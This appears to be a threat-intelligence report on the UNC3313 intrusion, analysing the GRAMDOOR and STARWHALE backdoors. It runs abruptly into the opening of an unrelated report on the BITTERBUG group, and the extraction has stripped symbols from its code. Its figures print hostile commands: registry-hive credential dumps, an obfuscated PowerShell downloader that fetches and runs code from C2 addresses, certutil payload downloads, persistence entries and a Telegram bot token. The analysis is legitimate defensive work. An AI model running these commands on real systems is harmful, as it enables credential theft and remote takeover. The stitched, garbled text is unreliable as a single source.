https://www.mandiant.com/resources/telegram-malware-iranian-espionage https://www.mandiant.com/advantage/managed-defense https://advantage.mandiant.com/actors/threat-actor--09b06892-9738-5c53-b704-368d5ac8dd62 https://advantage.mandiant.com/malware/malware--94628aa2-e2b5-59bb-99b0-d28af5fad730 https://advantage.mandiant.com/malware/malware--c6751f32-4818-585c-b233-d7b579d0fbbb https://www.mandiant.com/resources/how-mandiant-tracks-uncategorized-threat-actors https://www.mandiant.com/resources/iranian-threat-group-updates-ttps-in-spear-phishing-campaign https://www.mandiant.com/resources/iranian-threat-group-updates-ttps-in-spear-phishing-campaign https://advantage.mandiant.com/malware/malware--7b85e5ba-1be1-59ec-908c-7d426e03ffe3 https://advantage.mandiant.com/malware/malware--d0b485c2-31aa-5f8e-a36d-8bd63796d61c https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ 2/19 Table 1: UNC3313 Malware Families Malware Family Description GRAMDOOR GRAMDOOR is a backdoor written in Python that uses the Telegram Bot API to communicate over HTTP with the Telegram server.
Supported commands include command execution via cmd.exe.
STARWHALE STARWHALE is a Windows Script File (WSF) backdoor that communicates via HTTP.
Supported commands include shell command execution and system information collection.
STARWHALE.GO STARWHALE.GO is a backdoor written in GO programming language that communicates via HTTP.
The backdoor can execute shell commands and collect system information, such as local IP address, computer name, and username.
CRACKMAPEXEC CRACKMAPEXEC is a post-exploitation tool that helps automate assessing the security of large Active Directory networks.
Outlook and Implications The use of the Telegram API for command and control allows for malicious traffic to blend in with legitimate user behavior.
Combined with the use of legitimate remote access software, publicly available tools such as LIGOLO and CrackMapExec, and the multi-layer encoding routine, Mandiant believes this reflects TEMP.Zagros efforts to evade detection and security features.
Meanwhile, it is unclear how the U.S. governments recent public attribution of MuddyWater to the Iranian Ministry of Intelligence and Security will affect the groups operations.
It is plausible the group may re-tool and shift their tactics, techniques, and procedures prior to conducting additional operations.
UNC3313 Attack Lifecycle Establish Foothold UNC3313 initially gained access to the customers environment through a spear-phishing attack that compromised multiple systems.
Phishing emails were crafted with a job promotion lure and tricked multiple victims to click a URL to download a RAR archive file hosted at the cloud storage service OneHub.
This pattern is consistent with observations in open-source reporting by Anomali and Trend Micro.
The RAR archives contained a Windows Installer .msi file that installed ScreenConnect remote access software to establish a foothold.
Figure 1 shows a Windows Installer transaction event recorded in the Windows Application logs for the execution of performance.msi.
https://advantage.mandiant.com/malware/malware--94628aa2-e2b5-59bb-99b0-d28af5fad730 https://advantage.mandiant.com/malware/malware--c6751f32-4818-585c-b233-d7b579d0fbbb https://advantage.mandiant.com/malware/malware--ff190348-1d52-5177-a766-103ac395cee6 https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html 3/19 Figure 1: Windows Installer transaction event for performance.msi Log: Application Source: MsiInstaller EID: 1040 Message: Beginning a Windows Installer transaction: C:\Users\ redacted\AppData\Local\Temp\RarEXb7468.17680\performance.msi--748--(NULL)--(NULL)- -(NULL)--(NULL)----.
Client Process Id: 0.
As mentioned, UNC3313 moved rapidly to establish remote access through ScreenConnect to infiltrate systems within an hour of initial compromise.
ScreenConnect provides the capability to issue single CLI commands to the client or to open a full terminal using Backstage Mode.
Mandiant observed command execution using cmd.exe and powershell.exe by the parent process ScreenConnect.
ClientService.exe.
Figure 2: ScreenConnect client connection and command execution event logs Log: Application Source: ScreenConnect Client (f494f7a48b0cd497) EID: 0 Message: Cloud Account Administrator Connected-- Log: Application Source: ScreenConnect Client (f494f7a48b0cd497) EID: 0 Message: Cloud Account Administrator Disconnected-- Log: Application Source: ScreenConnect Client (f494f7a48b0cd497) EID: 0 Message: Executed command of length: 13-- When actively running, the ScreenConnect.
ClientService.exe process performed DNS lookups for a ScreenConnect relay service at instance-6 character alphanumeric id-relay.screenconnect.com.
Mandiant observed the process ScreenConnect.
WindowsClient.exe write additional attacker tools to the initially compromised hosts, indicating the files were copied through the active ScreenConnect session.
https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode 4/19 Figure 3: File write event by the ScreenConnect Windows Client process File Write Event Full Path: C:\ProgramData\ligo64.exe Size: 3474432 MD5: 7fefce7f2e4088ce396fd146a7951871 Process: ScreenConnect.
WindowsClient.exe Process Path: C:\Program Files (x86)\ScreenConnect Client (f494f7a48b0cd497) Parent Process Path: C:\Program Files (x86)\ScreenConnect Client (f494f7a48b0cd497)\ScreenConnect.
ClientService.exe Escalate Privileges Mandiant observed UNC3313 use common credential-dumping techniques using legitimate Windows utilities.
UNC3313 leveraged the open-source WMIEXEC.PY attack framework to execute reg commands to export copies of the local SAM, SYSTEM, and SECURITY Windows registry hives.
WMIEXEC.PY enables simple command invocation on a remote system (with admin rights and DCOM ports accessible on target system) via WMI (Windows Management Instrumentation).
Figure 4: Suspicious Registry exports executed by WMIEXEC.PY cmd.exe /Q /c reg save HKLM\SAM C:\users\public\sam 1 \\127.0.0.1\ADMIN\__1637143994.2306612 21 cmd.exe /Q /c reg save HKLM\SYSTEM C:\users\public\system 1 \\127.0.0.1\ADMIN\__1637143994.2306612 21 cmd.exe /Q /c reg save HKLM\SECURITY C:\users\public\security 1 \\127.0.0.1\ADMIN\__1637143994.2306612 21 UNC3313 used the Task Manager application to dump the process memory of lsass.exe, as shown in Figure 5 when the process Taskmgr.exe wrote the file lsass.dmp.
Figure 5: Task Manager Dump of LSASS.EXE File Write Event Full Path: C:\Users\redacted\AppData\Local\Temp\2\lsass.
DMP Size: 59378917 Process: Taskmgr.exe Process Path: C:\Windows\System32 Parent Process Path: C:\Windows\explorer.exe Internal Reconnaissance and Lateral Movement https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py 5/19 Mandiant observed UNC3313 leverage publicly available offensive security tools to accomplish remote command execution, internal reconnaissance, network tunneling, and lateral movement.
UNC3313 used a slightly modified version of the open-source pen-testing tool CrackMapExec v3.0 (CRACKMAPEXEC) compiled with Pyinstaller to perform system enumeration and user account reconnaissance and to execute remote commands on target systems.
The modified version of CRACKMAPEXEC used by the attacker, named aa.exe, had the tools description removed and included the database setup code from the utility setup_database.py to bypass extra installation steps (Figure 6).
Figure 6: Modified CRACKMAPEXEC with inclusion of setup_database.py code UNC3313 performed initial reconnaissance and account access testing with CRACKMAPEXEC using the commands shown in Figure 7 and Figure 8.
The credential and host information collected by CRACKMAPEXEC were stored in the local database file cme.db.
Figure 7: Initial execution of compiled CRACKMAPEXEC aa.exe 10.20.11.1/24 Figure 8: Local Administrator access testing with CRACKMAPEXEC aa.exe 10.20.11.1/24 -u local admin -p password --local-auth UNC3313 used CRACKMAPEXEC to run the Windows utility certutil and obfuscated PowerShell commands to download additional tools and payloads on remote systems.
Figure 9: Execution of obfuscated PowerShell downloader aa.exe  10.20.11.11 -u local admin -p password --local-auth -x powershell -exec bypass function decode(txt,key)enByte  [System.
Convert]::FromBase64String(txt)for(i0 i -lt enByte.count  i)enByte[i]  enByte[i] -bxor keydtxt [System.
Text.
Encoding]::UTF8.GetString(enByte)return dtxtIEX (decode J3QjPiNYUHpwd2ZuLU1mdy1Ld3dzVGZhUWZydmZwd145OUBxZmJ3Ziska3d3czksLDc2LTI3M S0xMjEtNTI5OzMsZGZGcVNrdzVgWWgwZXJkMzNlS0xtaWA6SDJbW2FvQVskKjgndC1zcWx7ei MI1hNZnctVGZhUWZydmZwd145OURmd1B6cHdmblRmYVNxbHt6Kyo4J0Z7ZmB2d2psbUBs bXdme3ctSm11bGhmQGxubmJtZy1KbXVsaGZQYHFqc3crK01mdC5MYWlmYHcjUHpwd2ZuLU pMLVB3cWZiblFmYmdmcSsndC1EZndRZnBzbG1wZisqLURmd1FmcHNsbXBmUHdxZmJuKyoqK i1RZmJnV2xGbWcrKio4 3) The obfuscated PowerShell downloader used base64 encoding and simple XOR encryption that decoded to the general command syntax shown in Figure 10.
https://www.mandiant.com/sites/default/files/inline-images/telegram-iran6a.png 6/19 Figure 10: Deobfuscated PowerShell command w  [System.
Net.
HttpWebRequest]::Create(http[:]// 45.142.212[.
]61:80/geErPht6cZk3fqg00fHOnjc9K1XXblBX) w.proxy  [Net.
WebRequest]::GetSystemWebProxy() ExecutionContext.
InvokeCommand.
InvokeScript((New-Object System.
IO.StreamReader(w.
GetResponse().GetResponseStream())).ReadToEnd()) UNC3313 used the multi-platform LIGOLO tunneler utility to establish tunneled access into our customers environment.
LIGOLO is an open-source, encrypted reverse SOCKS5 or TCP tunneler written in GO.
The LIGOLO utility was executed with the command-line argument -s3 to specify the relay server instead of the documented argument -relayserver, which indicates modification of the original code downloaded from the GitHub repository.
Figure 11: Remote execution of certutil to download LIGOLO tunneler via CRACKMAPEXEC aa.exe  10.20.11.11 -u local admin -p password --local-auth -x certutil.exe -urlcache -split -f http[:]//95.181.161[.
]81:443/l.exe C:\programdata\l.exe Figure 12: Execution of LIGOLO tunneler utility with relay server c:\programdata\ligo64.exe -s3 95.181.161[.
]81:5555 Mandiant observed the hostname DESKTOP-5EN5P2I in Windows logon events on systems that were accessed by UNC3313 through an RDP connection tunneled using LIGOLO.
Figure 13: Windows logon events showing evidence of RDP session tunneling via LIGOLO Log: Security EID: 4624 Network Information: Workstation Name:     DESKTOP-5EN5P2I Source Network Address:      - Source Port:                 - Log: Microsoft-Windows-TerminalServices-RemoteConnectionManager4Operational EID: 1149 User: local admin Domain: DESKTOP-5EN5P2I Source Network Address: 10.20.11.14 Maintain Persistence https://github.com/sysdream/ligolo 7/19 Mandiant identified a new malware family named STARWHALE that was used by UNC3313.
STARWHALE is a Windows Script File backdoor that simply receives commands from a command and control (C2) server via HTTP and executes those commands via Windows cmd.exe.
On the infected system, STARWHALE was observed being executed with a command-line argument as shown in Figure 14.
Figure 14: STARWHALE execution cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf humpback__whale Figure 15: STARWHALE Code Snippet The command line argument humpback__whale  is used in the code to dynamically resolve functions at runtime using the VBScript function GetRef.
Since STARWHALE does not contain any persistence mechanism, a service is created as shown in Figure 16.
Figure 16: STARWHALE Persistence Method sc  create Windowscarpstss binpath cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf humpback__whale start auto obj LocalSystem STARWHALE communicates with its C2 server, which is hardcoded in the malware.
Upon first execution, the malware gathers basic user and system information, such as local IP address, computer name, and username.
It then encodes this information using a custom encoding scheme before sending the information to the C2 IP address as shown in Figure 17.
8/19 Figure 17: STARWHALE Beacon POST /jznkmustntblvmdvgcwbvqb HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded CharsetUTF-8 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible Win32 WinHttp.
WinHttpRequest.5) CharSet: UTF-8 Content-Length: 69 Host: 5.199.133[.
]149 vl27732737231435E335F4239537109C22531327535C22D1327235E46253E2215613 The hex value passed via the POST request parameter vl, as shown in Figure 17, can be decoded to the following system enumeration information, piped together and separated with a delimiter: ip addressdelimiterhostname\\username The delimiter in the samples observed was )).
It then expects its C2 server to return a string value that is encoded using the same scheme.
This string value is then included in all subsequent POST requests.
If STARWHALEs initial request is successful, it begins sending the session key in a loop via HTTP POST requests to its C2 server at hxxp://5.199.133[.
]149/oeajgyxyxclqmfqayv.
The C2 server will then respond with a command meant to be executed via cmd.exe, as shown in Figure 18.
Figure 18: STARWHALE command execution process cmd.exe /c command  temp\stari.txt.
The output of the command is written to a file called stari.txt.
It then encodes the output using the custom scheme and sends it back to the C2 server in its next POST request.
The structure is similar to what is shown in Figure 19.
Figure 19: STARWHALE information sent to C2 c2_session_key))command_output If the command fails, it sends the encoded string SoRRy to its C2.
Notably, in earlier iterations of STARWHALE, Mandiant also observed it using the string sory [sic].
The threat actor corrected the spelling error after security researchers highlighted the string in a public forum.
Mandiant has observed similar spelling errors in other campaigns by Iranian threat actors.
During the intrusion, Mandiant also observed the actors deploying a malware that shares a lot of similarities with STARWHALE in design but written in Golang.
Mandiant is calling this code family STARWHALE.GO.
It is downloaded on the system using the certuil.exe utility as shown in Figure 20.
9/19 Figure 20: STARWHALE.GO download certutil.exe -urlcache -split -f hxxp://95.181.161[.
]81:443/per_indexx.exe STARWHALE.GO arrives as part of a Nullsoft Scriptable Install System (NSIS) installer, which installs it in a directory called OutlookM and creates a Run key in Windows registry to make it persistent on the system.
Upon execution, it drops the Golang binary and executes it.
Figure 21: NSIS Script Snippet for STARWHALE.GO InstType (LSTR_37)      Custom InstallDir LOCALAPPDATA\OutlookM install_directory_auto_append  OutlookM wininit  WINDIR\wininit.ini -------------------- SECTIONS: 1 COMMANDS: 6 Section  Section_0 AddSize 4744 CreateDirectory INSTDIR SetOutPath INSTDIR File index.exe Exec INSTDIR\index.exe WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookM INSTDIR\index.exe SectionEnd The following registry key is created as a result of running the NSIS executable.
Figure 22: STARWHALE.GO Persistence Method KEY: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OutlookM Value: C:\Users\redacted\AppData\Local\OutlookM\index.exe STARWHALE.GO also uses a custom data encoding algorithm to protect its network communication and critical strings within the binary.
It sends the same information as STARWHALE, but the data sent and received are a JSON object.
A sample HTTP POST request is shown in Figure 23.
10/19 Figure 23: STARWHALE.GO HTTP C2 beacon POST /nnskfepmasiiohvijcdpxtxzjv HTTP/1.1 Host: 87.236.212[.
]184 User-Agent: Go-http-client/1.1 Content-Length: 91 Content-Type: application/json Accept-Encoding: gzip vl:2179526e3176587ec7557e4192495c46264556569c47693e8d39415432445722222733323323332333 STARWHALE.GO uses a different delimiter  than STARWHALE, but the rest of the enumerated information sent to the hardcoded C2 IP address is the same.
Similarly, the malware reads the response from the POST request to the C2 server and attempts to decode it using the same custom string transformation routine it used to encode the data it sent.
This routine is simpler than that used by STARWHALE, as explained later.
The decoded result is either launched as a command line with the process cmd.exe /c or launched directly as a process if the string ends with .com, .exe, .bat, or .cmd.
The output of the launched process, or error message in the case of a failure to decode the string, is sent to the C2 server via HTTP POST requests to its C2 server at hxxp://87.236.212[.
]184/cepopggawztuxkxujfjbnpv.
Mandiant identified a third UNC3313 backdoor during the investigation that was compiled with Python 3.9 and packaged via PyInstaller, which would only execute on Windows 8 and higher.
Mandiant has named this backdoor GRAMDOOR due to its ability to use the Telegram Bot API for communication.
It sends and receives messages from an actor-created Telegram chat room.
GRAMDOOR arrives on the system packaged as an NSIS installer, which establishes a persistence mechanism by setting the Windows Run registry key, as shown in Figure 24.
Figure 24: GRAMDOOR Persistence Method KEY: HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift Value: C:\Users\redacted\AppData\Roaming\OutlookMicrosift\index.exe Platypus The NSIS installer for GRAMDOOR drops the PyInstaller packaged binary in the APPDATA directory in a subdirectory named OutlookMicrosift.
It is executed using Exec command from the install directory, as shown in Figure 25.
11/19 Figure 25: NSIS Script Snippet for GRAMDOOR InstType (LSTR_37)      Custom InstallDir APPDATA\OutlookMicrosift install_directory_auto_append  OutlookMicrosift wininit  WINDIR\wininit.ini -------------------- SECTIONS: 1 COMMANDS: 6 Section  Section_0 AddSize 16859 CreateDirectory INSTDIR SetOutPath INSTDIR File index.exe Exec INSTDIR\index.exe Platypus WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookMicrosift \INSTDIR\index.exe\ Platypus SectionEnd GRAMDOOR expects to be launched with one command-line parameter, which in this case was Platypus.
It uses this command-line parameter to piece together the function name, which is then called and acts as the entry point to the malware.
GRAMDOOR implements only two commands: start and com.
These commands are used to launch a cmd.exe process to which commands are piped.
All network communication is via the Telegram server at api.telegram[.
]org.
This allows the actors to disguise their communication as regular Telegram traffic.
This technique is not novel, and it is not the first time Iranian actors abused publicly available software to make their C2 traffic blend in.
All HTTP requests from the malware to the Telegram server contained the token string 2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY.
The token strings are used to authenticate to the bot.
Figure 26 shows a sample request.
Figure 26: GRAMDOOR Sample Request hxxps://api.telegram[.
]org/bot2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY/sendMessage?
chat_idchat_idparse_modeMarkdowntextcontent The malware uses the sendMessage API function to send information to a chat ID number.
The actors interact with the host via the chat by issuing commands and then getting output of the executed commands sent back in the chat.
For example, to retrieve network configuration information from the infected host, the attacker would issue the command comid c607666261766066f9f23ec696 where the value c607666261766066f9f23ec696 is translated to ipconfig /all command.
https://securityintelligence.com/posts/nation-state-threat-group-targets-airline-aclip-backdoor/ 12/19 STARWHALE and GRAMDOOR share similarities in logic for the custom encoding scheme used for the data and commands sent to and received from the C2.
The following code snippet demonstrates STARWHALEs traffic encoding and decoding and GRAMDOORs commands passed back and forth between Telegram chat messages.
Figure 27: Encoding/Decoding custom routine example code snippet def transform_chars(data): data  list(data) src  0 dst  len(data) - 1 while src  dst: t  data[src] data[src]  data[dst] data[dst]  t src  3 dst - 2 return .join(data) def decode_traffic(data): return bytes.fromhex(transform_chars(transform_chars(data)[::-1])).decode(utf) def encode_traffic(data): return transform_chars(transform_chars(data.encode(utf).hex())[::-1]) GRAMDOOR also hides sensitive strings within its code using a custom XOR-based encryption scheme.
The following sample code shows the logic of the aforementioned scheme.
Figure 28: Sample snippet showing XOR-based encryption scheme used in GRAMDOOR def xor_transform(data): key  qLd  str(5)  Hmyw/sG-qhy[dJmC  str(6)  UFvNt-_FeSd  str(4)  NGNophwQ- MCJ  str(1)  ?
L73PY return .join((lambda .0: [ chr(ord(c1)  ord(c2)) for c1, c2 in .0 ])(zip(data, key))) def encode_str(data): return base64.b64encode(xor_transform(data).encode()) def decode_str(data): return xor_transform(base64.b64decode(data).decode()) 13/19 Mandiant also observed UNC3313 store PowerShell downloader commands in Registry keys that were referenced by a Scheduled Task named Oracle scheduled assistant Autoupdate that is triggered on user logon.
Figure 29: PowerShell command stored in Registry Value Pre Path: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Oracle\Pre Type: REG_SZ Value Name: Pre Text: IEX Figure 30: PowerShell command stored in Registry Value Post Path: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Oracle\Post Type: REG_SZ Value Name: Post Text: function decode(txt,key)enByte  [System.
Convert]::FromBase64String(txt) for(i0 i -lt enByte.count  i)enByte[i]  enByte[i] -bxor keydtxt [System.
Text.
Encoding]::UTF8.GetString(enByte)return dtxtwhile(true)tryo [System.
Net.
HttpWebRequest]::Create(http[:]//87.236.212[.
]6:80/esZ8389bp2LFqRLI) o.proxy [Net.
WebRequest]::GetSystemWebProxy()ExecutionContext.
InvokeCommand.
InvokeScript((decode (New-Object System.
IO.StreamReader(o.
GetResponse().GetResponseStream())).ReadToEnd() 3))catchStart-Sleep -Seconds 40 Lastly, Mandiant observed UNC3313 download and execute a Windows Installer file for the eHorus remote access tool from the vendor website.
UNC3313 executed the file ehorus_installer_windows-1.1.3-x64_en- US.msi, which created a service named EHORUSAGENT.
The eHorus agent process ehorus_agent.exe communicates with domains hosted on ehorus[.
]com.
Figure 31: Service installation for eHorus agent Log: System Source: Service Control Manager EID: 7045 Service Name: eHorus Agent Launcher Service File Name:  ampquotC:\Program Files\ehorus_agent\ehorus_launcher.exeampquot -s eHorus is a legitimate remote access tool advertised commercially by Pandora FMS, which is based in Spain.
eHorus has been recently reported by Symantec being abused by Iranian threat actors in a similar campaign against telecom organizations in Middle East and Asia.
Mandiant Targeted Attack Lifecycle https://pandorafms.com/en/ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east 14/19 Learn more about the Mandiant Targeted Attack Lifecycle.
Figure 32: Mandiant Targeted Attack Lifecycle MITRE ATTCK Techniques ATTCK Tactic Category Techniques Resource Development Obtain Capabilities (T1588) Tool (T1588.002) Develop Capabilities (T1587) Malware (T1587.001) Initial Access Phishing (T1566) Phishing: Spearphishing Link (T1566.002) Execution Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Command and Scripting Interpreter (T1059) PowerShell (T1059.001) Windows Command Shell (T1059.003) System Services (T1569) Service Execution (T1569.002) Windows Management Instrumentation (T1047) Boot or Logon Autostart Execution (T1547) Registry Run Keys / Startup Folder (T1547.001) User Execution (T1204) Malicious File (T1204.002) https://www.mandiant.com/resources/targeted-attack-lifecycle https://attack.mitre.org/techniques/T1588/ https://attack.mitre.org/techniques/T1588/002/ https://attack.mitre.org/techniques/T1587/ https://attack.mitre.org/techniques/T1587/001/ https://attack.mitre.org/techniques/T1566/ https://attack.mitre.org/techniques/T1566/002/ https://attack.mitre.org/techniques/T1053 https://attack.mitre.org/techniques/T1053/005 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059/001 https://attack.mitre.org/techniques/T1059/003 https://attack.mitre.org/techniques/T1569 https://attack.mitre.org/techniques/T1569/002 https://attack.mitre.org/techniques/T1047 https://attack.mitre.org/techniques/T1547/ https://attack.mitre.org/techniques/T1547/001/ https://attack.mitre.org/techniques/T1204/ https://attack.mitre.org/techniques/T1204/002/ 15/19 Persistence Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Create or Modify System Process (T1543) Windows Service (T1543.003) Boot or Logon Autostart Execution (T1547) Registry Run Keys / Startup Folder (T1547.001) Privilege Escalation Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Defense Evasion Credential Access OS Credential Dumping (T1003) LSASS Memory (T1003.001) Security Account Manager (T1003.002) Brute Force Brute Force: Password Guessing (T1110.001) Discovery Remote System Discovery (T1018) System Owner/User Discovery (T1033) Network Service Scanning (T1046) Lateral Movement Remote Services (T1021) Remote Desktop Protocol (T1021.001) Collection Archive Collected Data (T1560) Archive via Utility (T1560.001) Command and Control Ingress Tool Transfer (T1105) Remote Access Software (T1219) Application Layer Protocol (T1071) Web Protocols (T1071.001) Protocol Tunneling (T1572) Web Service (T1102) Bidirectional Communication (T1102.002) https://attack.mitre.org/techniques/T1053 https://attack.mitre.org/techniques/T1053/005 https://attack.mitre.org/techniques/T1543 https://attack.mitre.org/techniques/T1543/003 https://attack.mitre.org/techniques/T1547 https://attack.mitre.org/techniques/T1547/001 https://attack.mitre.org/techniques/T1053 https://attack.mitre.org/techniques/T1053/005 https://attack.mitre.org/techniques/T1003 https://attack.mitre.org/techniques/T1003/001 https://attack.mitre.org/techniques/T1003/002/ https://attack.mitre.org/techniques/T1110/ https://attack.mitre.org/techniques/T1110/001/ https://attack.mitre.org/techniques/T1018 https://attack.mitre.org/techniques/T1033 https://attack.mitre.org/techniques/T1046 https://attack.mitre.org/techniques/T1021 https://attack.mitre.org/techniques/T1021/001 https://attack.mitre.org/techniques/T1560 https://attack.mitre.org/techniques/T1560/001 https://attack.mitre.org/techniques/T1105 https://attack.mitre.org/techniques/T1219/ https://attack.mitre.org/techniques/T1071 https://attack.mitre.org/techniques/T1071/001 https://attack.mitre.org/techniques/T1572 https://attack.mitre.org/techniques/T1102/ https://attack.mitre.org/techniques/T1102/002/ 16/19 Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation.
VID Name A102-562 Command and Control - GRAMDOOR, DNS Query, Variant 1 A102-563 Malicious File Transfer - GRAMDOOR, Download, Variant 1 A102-564 Malicious File Transfer - GRAMDOOR, Download, Variant 2 A102-565 Malicious File Transfer - STARWHALE, Download, Variant 1 A102-566 Malicious File Transfer - STARWHALE, Download, Variant 2 A102-567 Malicious File Transfer - STARWHALE, Download, Variant 3 A102-568 Malicious File Transfer - STARWHALE.GO, Download, Variant 1 A104-975 Protected Theater - GRAMDOOR, Execution, Variant 1 A104-976 Protected Theater - STARWHALE, Execution, Variant 1 A104-977 Host CLI - GRAMDOOR, Registry Persistence, Variant 1 A104-978 Host CLI - STARWHALE, Service Persistence, Variant 1 YARA Rules 17/19 rule M_Hunting_Backdoor_STARWHALE_1  meta: author  Mandiant description  Detects strings for STARWHALE samples md5   cb84c6b5816504c993c33360aeec4705 rev  1 strings: s1  JSCript ascii nocase wide s2  VBSCript ascii nocase wide s3  WScript.
Shell ascii nocase wide s4  ok ascii nocase wide s5  no ascii nocase wide s6  stari.txt ascii nocase wide s7  SoRRy ascii wide s8  EMIP ascii wide s9  NIp ascii wide s10  401 ascii wide s11  _ ascii wide s12  // ascii wide s13  )) ascii wide s14   ascii wide s15  // ascii wide s16  sory ascii nocase wide condition: filesize  5KB and filesize  5MB and 10 of (s)  18/19 rule M_Hunting_Backdoor_STARWHALE_GO_1 meta: author  Mandiant description  Detects strings for STARWHALE.GO strings: main1  main.findExecutable ascii main2  main.showMatrixElements ascii delim   ascii matrix  MATRIX1MATRIX2 ascii sample  1522526f4260f4653664276774 ascii condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and filesize  15MB and 4 of them  Indicators of Compromise Type Value Description MD5 7c3564cd166822be4932986cb8158409 CrackMapExec MD5 7fefce7f2e4088ce396fd146a7951871 LIGOLO MD5 5763530f25ed0ec08fb26a30c04009f1 GRAMDOOR MD5 15fa3b32539d7453a9a85958b77d4c95 GRAMDOOR MD5 cb84c6b5816504c993c33360aeec4705 STARWHALE MD5 c8ff058db87f443c0b85a286a5d4029e ScreenConnect IP 88.119.175[.
]112 LIGOLO CC IP 95.181.161[.
]50 LIGOLO CC IP 45.153.231[.
]104 LIGOLO CC IP 95.181.16[.
]81 Malware/Tools Hosting IP 5.199.133[.
]149 STARWHALE CC IP 45.142.213[.
]17 STARWHALE CC 19/19 IP 87.236.212[.
]184 STARWHALE.GO CC Acknowledgements Special thanks to Mike Hunoff, Nick Harbour, and Muhammad Umair for their assistance with reverse engineering the malware discussed in this blog post, and Adrien Bataille and Ervin James Ocampo for creating detections for malware families.
Additionally, we would also like to thank Dan Andreiana, Alexander Pennino, Nick Richards, Jake Nicastro, Sarah Jones, and Geoff Ackerman for their help with technical review and providing valuable feedback.
Operation Arachnophobia Caught in the Spiders Web Rich Barger    Cyber Squared Inc. Mike Oppenheim    FireEye Labs Chris Phillips    FireEye Labs i            OPERATION ARACHNOPHOBIA Contents Team Introduction ...................................................................................................................................................... 1 Key Findings ................................................................................................................................................................. 1 Summary ...................................................................................................................................................................... 1 Backstory .....................................................................................................................................................................2 VPSNOC/Digital Linx/Tranchulas ........................................................................................................................... 4 Technical Observations ..............................................................................................................................................8 Conclusion ...................................................................................................................................................................11 Appendix A: Malware Details .................................................................................................................................. 12 Appendix B: MD5 Hashes and Malware Table ....................................................................................................... 17 Appendix C: VPSNOC Email Header Analysis ...................................................................................................... 20 Appendix D: Inconsistencies Observed .................................................................................................................. 21 Appendix E: VPSNOC  Digital Linx Associations ................................................................................................23 Appendix F: Personas ................................................................................................................................................24 Persona 1................................................................................................................................................................................ 24 Persona 2 ............................................................................................................................................................................... 27 Appendix G: Tranchulas .......................................................................................................................................... 30 Digital Appendix 1: Research Collateral ..................................................................................................................32 Digital Appendix 2: Raw Email Communications ..................................................................................................33 Digital Appendix 3: Screenshot Archives ...............................................................................................................34 Digital Appendix 4: Maltego Visualization ............................................................................................................35 1            OPERATION ARACHNOPHOBIA Team Introduction Cyber Squared Inc.s ThreatConnect Intelligence Research Team (TCIRT) tracks a number of threat groups around the world.
Beginning in the summer of 2013, TCIRT identified a suspected Pakistani-origin threat group.
This group was revealed by TCIRT publicly in August 2013.
In the months following the disclosure, we identified new activity.
Cyber Squared partnered with experts at FireEye Labs to examine these new observations in an attempt to discover new research and insight into the group and its Operation Arachnophobia.
The following report is a product of collaborative research and threat intelligence sharing between Cyber Squared Inc.s TCIRT and FireEye Labs.
Key Findings While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently point to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets and/or those who are involved in India-Pakistan issues.
The threat actors utilized a hosting provider that is a Pakistani-based company with subleased VPS space within the U.S. for command and control (C2).
The customized malware (BITTERBUG) used by these threat actors has only been observed hosted on and communicating with two IP addresses operated by a Pakistan-based hosting provider.
Early variants of the BITTERBUG malware had build paths containing the strings Tranchulas and umairaziz27.
Tranchulas is the name of a Pakistani security firm Umair Aziz is the name of a Tranchulas employee.
Following the release of our blog post highlighting this activity and the malwares build strings, the threat actors appear to have modified their binary file paths to make them more generic.
Employees at both the Pakistan-based hosting provider and Tranchulas appear within each others social networks.
Summary On August 2, 2013, the TCIRT published the blog Where There is Smoke, There is Fire: South Asian Cyber Espionage Heats Up in which TCIRT identified custom malware, later dubbed BITTERBUG by FireEye, suspected to be linked to Pakistani-based exploitation activity directed against Indian entities.
We found debug path references to Tranchulas, which is also the name of a Pakistani security company.
Tranchulas claims to support national level cyber security programs and the development of offensive and defensive cyber capabilities.
At the time, the incident seemed to be an isolated one for TCIRT, but it was only the beginning.
Our suspicions of Tranchulas involvement in the activity began to mount, based on a series of events that occurred both before and after the release of our blog post.
During the past year, we communicated with Tranchulas and the Pakistan-based hosting provider.
Suspicious responses and oddly similar replies received from both companies to our inquiries, as well as anomalies in their email headers, prompted us to research the companies further.
Our research revealed: The C2 hosting provider (VPSNOC) has likely been conducting business operations from within Pakistan, subleasing infrastructure from U.S. providers.
VPNSOC and Tranchulas employees have maintained some type of undefined relationship given connections via social media.
Both organizations have employed or are affiliated with personnel who have offensive cyber expertise.
When TCIRT was initially contacted by Tranchulas following our original blog post, they denied any involvement in the activity.
Tranchulas maintained that they were being framed, and that they were already aware of the activity prior to both our blog post and our contact.
However, inconsistencies in their claims and their responses made such a scenario questionable.
